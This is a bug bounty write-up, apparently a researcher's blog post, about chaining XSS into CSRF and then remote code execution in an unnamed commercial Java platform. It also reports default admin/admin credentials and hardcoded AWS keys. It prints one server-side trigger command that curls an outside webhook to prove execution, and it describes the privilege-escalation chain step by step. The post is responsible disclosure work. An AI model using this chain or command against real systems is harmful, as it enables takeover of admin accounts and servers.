XSS to CSRF to RCE in a big commercial software
November 1, 2023
Summary
While using a big proprietary software at work, a colleague found out that one of the functionalities allowed XSS. We were able to elevate the XSS to a CSRF, that would allow us to become admins if an logged in admin clicked on our link. By being admin, we were able to have Remote Code Execution on the server hosting the platform.
What is this app?
It's an app for... IT people. Let's keep at that since, after disclosing our findings to the vendor, we found out that they had a private program, which doesn't allow us to give details about the app or anything.
This is a platform which has multiple functionalities: host files, allow people to review those files, allow to have reports on different functionalities of the platform.
The platform is in Java, which is great, because it's easy to get the code from a jar, since it is decompilable.
How it began
A page in the platform allows you to create a report. While playing with it, a colleague found that this was vulnerable to XSS.
If you put this text in one of the input for the report's title:
This is what is being printed in the report.
What is a report?
Well, the app allows multiple kinds of report, a PDF, a printable webpage, or other kinds of reports. What is more interesting to us, are the printable webpages and potentially the PDF.
PDF reports are usually created through some kind of processors and, there are ways to get some XSS in those processors before getting the PDF, sometimes allowing you to embed some data from the server to the PDF. We tried for a bit... but after looking at what was happening under the hood, we found out that the developers were recoding basic HTML tags into specific PDF attributes.
They were actually creating the PDF programmatically and were not using one of those preprocessors.
Okay, we tried and failed. Let's move on to the printable one.
From XSS
The printable report was a fun avenue because we noticed that when you were adding text to the report title, it ended up as query parameters attached to the URL of the page. Great, we have an exportable XSS, which could be sent to an admin for example :D
⛔ Problem: the title is limited to 255 characters.
💡 Solution: Alright, let's import JS from elsewhere!
⛔ Problem 2, the CORS policy disallows the import of any external Javascript...
💡 Solution: The platform allows you to upload files... Let's upload as a normal user a JS file and import it in our report's title.
To CSRF
Our first idea was to elevate the privileges of a simple user, us, to an admin. With our newly minted XSS embedded in a file uploaded to the server, we were able to achieve a CSRF, allowing us to become admin through our XSS.
Great success! 🍾
It was very easily done and we were happy. Being admin is lovely and show some impact, but we thought, can we get a shell? 🐚
To RCE
We dug a bit into the admin functionalities. By looking at different tabs, we found one which seemed interesting called "triggers". While looking at it, we found out that the platform was allowing the admin to create triggers.
A trigger is a command which is launched on the server when a specific event happens: - A user is created - A file is uploaded - Etc.
Wait, what? The admin can purely and simply launch bash commands on the server hosting the platform? Yep, that's a feature! 🐛
Alright, we modified our JS payload and in one click were able to:
- Create a trigger any time a file is uploaded. Our trigger was
curl -v https://ourwebhook.com/?it=works
- We uploaded a file and were magically pinged by the server hosting the platform.
What we got?
The triage process was a bit long, we tried to explain the bugs as much as we could but we had to create a video and give them access to a live instance of the platform for the bug bounty platform to confirm we were legit.
We ended up getting a bounty for our finding, which was nice.
Other shenanigans found:
Default credentials when the platform was installed on a server
When you were installing the platform, it was asking you for a username and password for the admin. It was also creating a user named admin
with the password admin
without telling you.
We reported this as something that should be fixed but the company disagreed with it. We thought it was bad, after all, an admin can simply launch commands on the hosting server!
The company said to us that people were not supposed to host this publicly... except a quick shodan search allowed us to find 20 instances exposed publicly.
AWS credentials in plain text in the code
In the code were AWS credentials in plain text. The devs simply put their AWS credentials in to allow a reporting function to connect to AWS. We got a bounty for this.
That's all Folks!
Thank you for reading.